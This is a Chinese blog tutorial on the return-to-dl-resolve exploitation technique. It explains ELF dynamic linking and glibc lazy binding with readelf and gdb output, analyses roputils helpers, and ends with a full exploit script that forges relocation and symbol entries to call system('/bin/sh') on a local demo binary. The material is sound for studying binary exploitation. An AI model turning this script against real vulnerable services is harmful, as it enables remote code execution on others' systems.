关闭
Hit
enter
to search or
ESC
to close
May I Suggest ?
#leanote #leanote blog #code #hello world
Mutepig's Blog
Home
Archives
Tags
Search
About Me
Return to dl-resolve
无
353
0
0
mut3p1g
`Return to dl-resolve`可以绕过`NX`及`ASLR`,但在`PIE`或`RELRO`情况下会很难利用。 没法泄漏 <!--more--> 参考资料: http://4ngelboy.blogspot.tw/2015/07/return-to-dl-resolve.html http://d0m021ng.github.io/2016/11/03/PWN/ret2-dl-resolve-payload-%E6%9E%84%E9%80%A0%E5%8E%9F%E7%90%86%EF%BC%88%E4%B8%80%EF%BC%89/ http://www.evil0x.com/posts/19226.html http://rk700.github.io/2015/08/09/return-to-dl-resolve/ ## 0x01 预备知识 ### 1. .dynamic `.dynamic section`里包含了`ld.so`用于运行时解析函数地址的信息,其源码如下: ``` 688 typedef struct 689 { 690 Elf64_Sxword d_tag; /* Dynamic entry type */ 691 union 692 { 693 Elf64_Xword d_val; /* Integer value */ 694 Elf64_Addr d_ptr; /* Address value */ 695 } d_un; 696 } Elf64_Dyn; ``` 下面是具体信息的展示,一个`tag`对应一个`section`: ``` ➜ /tmp rereadelf -d club Dynamic section at offset 0x1df8 contains 26 entries: Tag Type Name/Value 0x0000000000000001 (NEEDED) Shared library: [libc.so.6] 0x000000000000000c (INIT) 0x888 0x000000000000000d (FINI) 0x13d4 0x0000000000000019 (INIT_ARRAY) 0x201de0 0x000000000000001b (INIT_ARRAYSZ) 8 (bytes) 0x000000000000001a (FINI_ARRAY) 0x201de8 0x000000000000001c (FINI_ARRAYSZ) 8 (bytes) 0x000000006ffffef5 (GNU_HASH) 0x298 0x0000000000000005 (STRTAB) 0x510 0x0000000000000006 (SYMTAB) 0x2d0 0x000000000000000a (STRSZ) 263 (bytes) 0x000000000000000b (SYMENT) 24 (bytes) 0x0000000000000015 (DEBUG) 0x0 0x0000000000000003 (PLTGOT) 0x202000 0x0000000000000002 (PLTRELSZ) 312 (bytes) 0x0000000000000014 (PLTREL) RELA 0x0000000000000017 (JMPREL) 0x750 0x0000000000000007 (RELA) 0x678 0x0000000000000008 (RELASZ) 216 (bytes) 0x0000000000000009 (RELAENT) 24 (bytes) 0x000000006ffffffb (FLAGS_1) Flags: PIE 0x000000006ffffffe (VERNEED) 0x648 0x000000006fffffff (VERNEEDNUM) 1 0x000000006ffffff0 (VERSYM) 0x618 0x000000006ffffff9 (RELACOUNT) 3 0x0000000000000000 (NULL) 0x0 ``` ### 2. section 一共有30个`section`,展示如下: ``` ➜ /tmp readelf -S test There are 31 section headers, starting at offset 0x19e0: Section Headers: [Nr] Name Type Address Offset Size EntSize Flags Link Info Align [ 0] NULL 0000000000000000 00000000 0000000000000000 0000000000000000 0 0 0 [ 1] .interp PROGBITS 0000000000400238 00000238 000000000000001c 0000000000000000 A 0 0 1 [ 2] .note.ABI-tag NOTE 0000000000400254 00000254 0000000000000020 0000000000000000 A 0 0 4 [ 3] .note.gnu.build-i NOTE 0000000000400274 00000274 0000000000000024 0000000000000000 A 0 0 4 [ 4] .gnu.hash GNU_HASH 0000000000400298 00000298 000000000000001c 0000000000000000 A 5 0 8 [ 5] .dynsym DYNSYM 00000000004002b8 000002b8 0000000000000060 0000000000000018 A 6 1 8 [ 6] .dynstr STRTAB 0000000000400318 00000318 000000000000003f 0000000000000000 A 0 0 1 [ 7] .gnu.version VERSYM 0000000000400358 00000358 0000000000000008 0000000000000002 A 5 0 2 [ 8] .gnu.version_r VERNEED 0000000000400360 00000360 0000000000000020 0000000000000000 A 6 1 8 [ 9] .rela.dyn RELA 0000000000400380 00000380 0000000000000018 0000000000000018 A 5 0 8 [10] .rela.plt RELA 0000000000400398 00000398 0000000000000030 0000000000000018 AI 5 24 8 [11] .init PROGBITS 00000000004003c8 000003c8 000000000000001a 0000000000000000 AX 0 0 4 [12] .plt PROGBITS 00000000004003f0 000003f0 0000000000000030 0000000000000010 AX 0 0 16 [13] .plt.got PROGBITS 0000000000400420 00000420 0000000000000008 0000000000000000 AX 0 0 8 [14] .text PROGBITS 0000000000400430 00000430 0000000000000192 0000000000000000 AX 0 0 16 [15] .fini PROGBITS 00000000004005c4 000005c4 0000000000000009 0000000000000000 AX 0 0 4 [16] .rodata PROGBITS 00000000004005d0 000005d0 000000000000001f 0000000000000000 A 0 0 4 [17] .eh_frame_hdr PROGBITS 00000000004005f0 000005f0 0000000000000034 0000000000000000 A 0 0 4 [18] .eh_frame PROGBITS 0000000000400628 00000628 00000000000000f4 0000000000000000 A 0 0 8 [19] .init_array INIT_ARRAY 0000000000600e10 00000e10 0000000000000008 0000000000000000 WA 0 0 8 [20] .fini_array FINI_ARRAY 0000000000600e18 00000e18 0000000000000008 0000000000000000 WA 0 0 8 [21] .jcr PROGBITS 0000000000600e20 00000e20 0000000000000008 0000000000000000 WA 0 0 8 [22] .dynamic DYNAMIC 0000000000600e28 00000e28 00000000000001d0 0000000000000010 WA 6 0 8 [23] .got PROGBITS 0000000000600ff8 00000ff8 0000000000000008 0000000000000008 WA 0 0 8 [24] .got.plt PROGBITS 0000000000601000 00001000 0000000000000028 0000000000000008 WA 0 0 8 [25] .data PROGBITS 0000000000601028 00001028 0000000000000010 0000000000000000 WA 0 0 8 [26] .bss NOBITS 0000000000601038 00001038 0000000000000008 0000000000000000 WA 0 0 1 [27] .comment PROGBITS 0000000000000000 00001038 0000000000000034 0000000000000001 MS 0 0 1 [28] .shstrtab STRTAB 0000000000000000 000018cd 000000000000010c 0000000000000000 0 0 1 [29] .symtab SYMTAB 0000000000000000 00001070 0000000000000648 0000000000000018 30 47 8 [30] .strtab STRTAB 0000000000000000 000016b8 0000000000000215 0000000000000000 0 0 1 Key to Flags: W (write), A (alloc), X (execute), M (merge), S (strings), l (large) I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown) O (extra OS processing required) o (OS specific), p (processor specific) ``` ### 3. 全局偏移表 * .got 全局变量偏移表 * .got.plt 全局函数偏移表 其中,全局函数偏移表保存了函数在内存中的实际地址,但在刚开始时保存的是过程链接表`PLT`中该函数胶水代码中的第二条指令地址,具体原因在后面分析。 ### 4. 重定位 在上面的`section`中,`type=REL`的`section`包含了重定位的表项: * .rel.plt: 用于函数重定位 ``` 533 typedef struct 534 { 535 Elf64_Addr r_offset; /* Address */ 536 Elf64_Xword r_info; /* Relocation type and symbol index */ 537 } Elf64_Rel; ``` * .rel.dyn: 用于变量重定位 ``` 548 typedef struct 549 { 550 Elf64_Addr r_offset; /* Address */ 551 Elf64_Xword r_info; /* Relocation type and symbol index */ 552 Elf64_Sxword r_addend; /* Addend */ 553 } Elf64_Rela; ``` 下面是对例子中重定向节区的展示: ``` ➜ /tmp readelf -r test Relocation section '.rela.dyn' at offset 0x380 contains 1 entries: Offset Info Type Sym. Value Sym. Name + Addend 000000600ff8 000300000006 R_X86_64_GLOB_DAT 0000000000000000 __gmon_start__ + 0 Relocation section '.rela.plt' at offset 0x398 contains 2 entries: Offset Info Type Sym. Value Sym. Name + Addend 000000601018 000100000007 R_X86_64_JUMP_SLO 0000000000000000 printf@GLIBC_2.2.5 + 0 000000601020 000200000007 R_X86_64_JUMP_SLO 0000000000000000 __libc_start_main@GLIBC_2.2.5 + 0 ``` 从上面展示的`section`中可以得到`.rela.plt`的地址为0x400398,调试查看一下: ``` gdb-peda$ x /10x 0x400398 0x400398: 0x0000000000601018 0x0000000100000007 0x4003a8: 0x0000000000000000 0x0000000000601020 0x4003b8: 0x0000000200000007 0x0000000000000000 ``` 可以发现,第一个就是`printf`在`.got.plt`中的地址,后面的是`r_info`: ``` 561 #define ELF64_R_SYM(i) ((i) >> 32) 562 #define ELF64_R_TYPE(i) ((i) & 0xffffffff) 563 #define ELF64_R_INFO(sym,type) ((((Elf64_Xword) (sym)) << 32) + (type)) ``` 将`r_info=0x100000007`代入,可以得到`printf`的信息: ``` 这里好像就对半切0x0000000100000007=>0x00000001和0x00000007 type = 7 symbol index = 1 ``` ### 4. symbol 通过上面已经可以得到`printf`的`symbol index`为1了,那么查看一下符号表,这里只用看`.dynsym`部分的,`.symtab`是编译时的信息不用管。 ``` ➜ /tmp readelf -s test Symbol table '.dynsym' contains 4 entries: Num: Value Size Type Bind Vis Ndx Name 0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND 1: 0000000000000000 0 FUNC GLOBAL DEFAULT UND printf@GLIBC_2.2.5 (2) 2: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@GLIBC_2.2.5 (2) 3: 0000000000000000 0 NOTYPE WEAK DEFAULT UND __gmon_start__ ``` 查看后发现`printf`对应的确实为1,接下来看一下符号表的源码: ``` 417 typedef struct 418 { 419 Elf64_Word st_name; /* Symbol name (string tbl index) */ 420 unsigned char st_info; /* Symbol type and binding */ 421 unsigned char st_other; /* Symbol visibility */ 422 Elf64_Section st_shndx; /* Section index */ 423 Elf64_Addr st_value; /* Symbol value */ 424 Elf64_Xword st_size; /* Symbol size */ 425 } Elf64_Sym; ``` 接下来看看这一切是怎么联系起来的: 首先从`.dynamic`中找到`.dynsym`和`.dynstr`的起始地址分别为0x4002b8、0x400318 那么查看`printf`的符号表在`.dynamic`中的信息(这里的24是Elf64_Sym结构体的大小): ``` gdb-peda$ x /10wx 0x4002b8+24*0x01 0x4002d0: 0x0000000b 0x00000012 0x00000000 0x00000000 0x4002e0: 0x00000000 0x00000000 ``` 第一个0b即`st_name`在`.dynstr`中的偏移,查看一下: ``` gdb-peda$ x /10s 0x400318+0xb 0x400323: "printf" ``` ## 0x02 实例 本技术主要的实现是基于动态链接库加载函数的过程的,所以首先先用一个实例看看是如何加载的,再具体介绍其中的原理。 ### 1. demo 首先我们编写一个小程序,它调用了两次`printf`,下面就看看`printf`的地址是如何被找到的。 ``` #include <stdio.h> int main(){ printf("hello world!"); printf("hello world2!"); return 0; } ``` ### 2. lazy binding 调用`printf`函数时,是从`printf@plt`中进入的: ``` => 0x400534 <main+14>: call 0x400400 <printf@plt> ``` 进入后应该调用的是`.got.plt`对应的代码,但此时实际上指向的是`plt`的第二行即0x400406,这就是所谓的`lazy binding`技术。因为在程序中可能有的函数一辈子都不会调用,所以只有当第一次调用时程序才会去找其真正地址。 ``` => 0x400400 <printf@plt>: jmp QWORD PTR [rip+0x200c12] # 0x601018 | 0x400406 <printf@plt+6>: push 0x0 # reloc_arg | 0x40040b <printf@plt+11>: jmp 0x4003f0 ``` 之后将参数0压入栈,之后跳到了0x4003f0: ``` => 0x4003f0: push QWORD PTR [rip+0x200c12] # 0x601008 link_map = .got.plt + 0x08 0x4003f6: jmp QWORD PTR [rip+0x200c14] # 0x601010 _dl_runtime_resolve_avx = .got.plt + 0x10 ``` 这里执行后的结果相当于调用 ``` _dl_runtime_resolve_avx(link_map, reloc_arg) ``` 所以唯一的变量就是`reloc_arg`,表示在`JMPREL`中的`index`,也就是我们在`printf@plt`第二行中压入栈的值。 ### 3. 寻找函数地址 在`_dl_runtime_resolve_avx`中,会调用`_dl_profile_fixup`,之后紧接着就调用`_dl_fixup`,可以参照[源码](https://code.woboq.org/userspace/glibc/elf/dl-runtime.c.html#59)。 通过源码看看一个函数的真正地址是如何被写入其所在的`GOT`表的: 1) 得到SYMTAB和STRTAB ``` 67 const ElfW(Sym) *const symtab 68 = (const void *) D_PTR (l, l_info[DT_SYMTAB]); // SYMTAB=>.dynsym 69 const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]); // STRTAB=>.dynstr ``` 实例中得到的对应地址为: ``` .dynsym => 0x4002b8 .dynstr => 0x400318 ``` 2) 通过传入的参数得到函数对应的.rela.plt中的位置: ``` 71 const PLTREL *const reloc 72 = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset); // JMPREL=>.rela.plt // reloc_offset = reloc_arg * sizeof (Elf64_Rela) ``` 得到对应的地址: ``` reloc => 0x400398 gdb-peda$ x /10x 0x400398 0x400398: 0x0000000000601018 0x0000000100000007 0x4003a8: 0x0000000000000000 ``` 3) 获得reloc对应的信息 ``` 73 const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)]; // 通过.dynsym[rel_index]获得其对应的条目 74 const ElfW(Sym) *refsym = sym; 75 void *const rel_addr = (void *)(l->l_addr + reloc->r_offset); // 在.got.plt中对应的地址 ``` 得到对应地址为: ``` sym = symtab[1] = 0x4002b8 + 24*0x1 gdb-peda$ x /10x 0x4002b8+24*0x1 0x4002d0: 0x000000120000000b 0x0000000000000000 0x4002e0: 0x0000000000000000 rel_addr = 0x601018 ``` 4) 检查reloc->info ``` assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT); // type是不是7 ``` 5) 根据函数字符串,寻找libc基地址 ``` 112 result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, 113 version, ELF_RTYPE_CLASS_PLT, flags, NULL);// 第一个就是函数对应的字符串,strtab是.dynstr,加上条目sym对应的name,就得到了字符串; 得到的result即该函数所在libc的基地址 ``` 对应一下: ``` strtab + sym->st_name = 0x400318 + 0x0b gdb-peda$ x /10s 0x400318 + 0x0b 0x400323: "printf" result = 0x7ffff7ff74c0 gdb-peda$ x /1x $rax 0x7ffff7ff74c0: 0x00007ffff7a0e000 gdb-peda$ vmmap Start End Perm Name 0x00400000 0x00401000 r-xp /tmp/test 0x00600000 0x00601000 r--p /tmp/test 0x00601000 0x00602000 rw-p /tmp/test 0x00007ffff7a0e000 0x00007ffff7bcd000 r-xp /lib/x86_64-linux-gnu/libc-2.23.so ``` 6) 报错 这里由于我们构造的`index`太大,会导致`vernum[ELFW(R_SYM) (reloc->r_info)]`报错。所以这里`l->l_info[VERSYMIDX (DT_VERSYM)]`置为0就好了,也就是`link_map+0x1c8`。 ``` 88 if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL) 89 { 90 const ElfW(Half) *vernum = 91 (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]); 92 ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff; 93 version = &l->l_versions[ndx]; 94 if (version->hash == 0) 95 version = NULL; 96 } ``` 7) 得到函数真实地址 ``` 126 value = DL_FIXUP_MAKE_VALUE (result, 127 sym ? (LOOKUP_VALUE_ADDRESS (result) 128 + sym->st_value) : 0); // 通过上面可以得到函数地址的偏移,加上libc后得到真实地址 ``` 8) 将函数地址写入GOT表中 ``` return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value); ``` ## 0x03. 漏洞利用 ### 1. 利用步骤 通过上面的分析,可以大致列举漏洞利用的步骤: 1. 为了调用`_dl_runtime_resolve_avx(link_map, reloc_arg)`,先压入一个很大的数作为`reloc_arg`,控制`RIP`为`PLT[0]`(上文中的0x4003f0) 2. `reloc_arg`需要使得`reloc`可以落在我们能控制的地方,所以这里需要泄露`link_map`的地址 3. 伪造`reloc`,使得`sym`落在我们能控制的地方 4. 伪造`sym`,使得其`name`为`system` ### 2. roputils `roputils`中包含一个针对此方法的利用,在`examples/dl-resolve-x86-64.py`中,下面分析一下。 #### 1) 泄露leak_map地址 `leak_map`的地址为`.got.plt+8`,所以打印这个地址就可以了 ``` def leak_link_map(): link_map = rop.got() + 0x08 buf = rop.retfill(offset) buf += rop.call_chain_ptr( ['write', 1, link_map, 8], ['read', 0, addr_stage, 420] , pivot=addr_stage) p.write(buf) p.recv(6) addr_link_map = u64(p.recv(8)) log.success("link_map_addr: %s" % hex(addr_link_map)) addr_dt_debug = addr_link_map + 0x1c8 log.success("dt_debug_addr: %s" % hex(addr_dt_debug)) return addr_dt_debug ``` #### 2) dl_resolve攻击 * dl_resolve_call 这个函数用来生成跳转到`PLT[0]`,并将`index`压入栈的`payload`。 ``` 843 def dl_resolve_call(self, base, *args): 844 # prerequisite: 845 # 1) overwrite (link_map + 0x1c8) with NULL 846 # 2) set registers for arguments 847 if args: 848 raise Exception('arguments must be set to the registers beforehand') 849 850 jmprel = self.dynamic('JMPREL') // .rela.plt 851 relaent = self.dynamic('RELAENT') // 24bytes 852 853 addr_reloc, padlen_reloc = self.align(base, jmprel, relaent) 854 reloc_offset = (addr_reloc - jmprel) / relaent // 获得index 855 856 buf = self.p(self.plt()) # PLT[0] 857 buf += self.p(reloc_offset) # push的值为index 858 859 return buf ``` * dl_resolve_data 这个函数用来生成改变函数对应字符串的`payload`,重点还是要伪造一个合法的`reloc`。 ``` 821 def dl_resolve_data(self, base, name): 822 jmprel = self.dynamic('JMPREL') 823 relaent = self.dynamic('RELAENT') 824 symtab = self.dynamic('SYMTAB') 825 syment = self.dynamic('SYMENT') 826 strtab = self.dynamic('STRTAB') 827 828 addr_reloc, padlen_reloc = self.align(base, jmprel, relaent) 829 addr_sym, padlen_sym = self.align(addr_reloc+relaent, symtab, syment) 830 addr_symstr = addr_sym + syment 831 832 r_info = (((addr_sym - symtab) / syment) << 32) | 0x7 833 st_name = addr_symstr - strtab 834 835 buf = self.fill(padlen_reloc) # 保证reloc对齐 836 buf += struct.pack('<QQQ', base, r_info, 0) # Elf64_Rela 伪造的reloc 837 buf += self.fill(padlen_sym) # 保证symbol对齐 838 buf += struct.pack('<IIQQ', st_name, 0x12, 0, 0) # Elf64_Sym 伪造的symbol 839 buf += self.string(name) # 我们希望调用函数的字符串 ``` ## 0x04 EXP ``` from mypwn import * from roputils import * bin_file = "./demo" remote_detail = ("127.0.0.1",8888) libc_file = "" bp = [0x4005a8] pie = False p,elf,libc = init_pwn(bin_file,remote_detail,libc_file,bp,pie) rop = ROP(bin_file) def leak_link_map(): link_map = rop.got() + 0x08 buf = rop.retfill(offset) buf += rop.call_chain_ptr( ['write', 1, link_map, 8], ['read', 0, addr_stage, 420] , pivot=addr_stage) p.write(buf) addr_link_map = u64(p.recv(8)) log.success("link_map_addr: %s" % hex(addr_link_map)) addr_dt_debug = addr_link_map + 0x1c8 log.success("dt_debug_addr: %s" % hex(addr_dt_debug)) return addr_dt_debug def dl_resolve(): ptr_ret = rop.search(rop.section('.fini')) buf = rop.call_chain_ptr( ['read', 0, addr_dt_debug, 8], [ptr_ret, addr_stage+400] ) buf += rop.dl_resolve_call(addr_stage+300) buf += rop.fill(300, buf) buf += rop.dl_resolve_data(addr_stage+300, 'system') buf += rop.fill(400, buf) buf += rop.string('/bin/sh') buf += rop.fill(420, buf) p.write(buf) p.write(p64(0)) if __name__ == "__main__": offset = 24 addr_stage = rop.section('.bss') + 0x400 # INIT p.recv(6) # now we can control the RIP addr_dt_debug = leak_link_map() dl_resolve() p.interactive() ``` 具体栈结构可以查看[参考链接](http://d0m021ng.github.io/2016/11/03/PWN/ret2-dl-resolve-payload-%E6%9E%84%E9%80%A0%E5%8E%9F%E7%90%86%EF%BC%88%E4%BA%8C%EF%BC%89/#0x02-64%E4%BD%8D%E5%BA%94%E7%94%A8%E7%9A%84payload%E6%9E%84%E9%80%A0)
觉得不错,点个赞?
提交评论
Sign in
to leave a comment.
No Leanote account ?
Sign up now
.
0
条评论
More...
文章目录
No Leanote account ? Sign up now.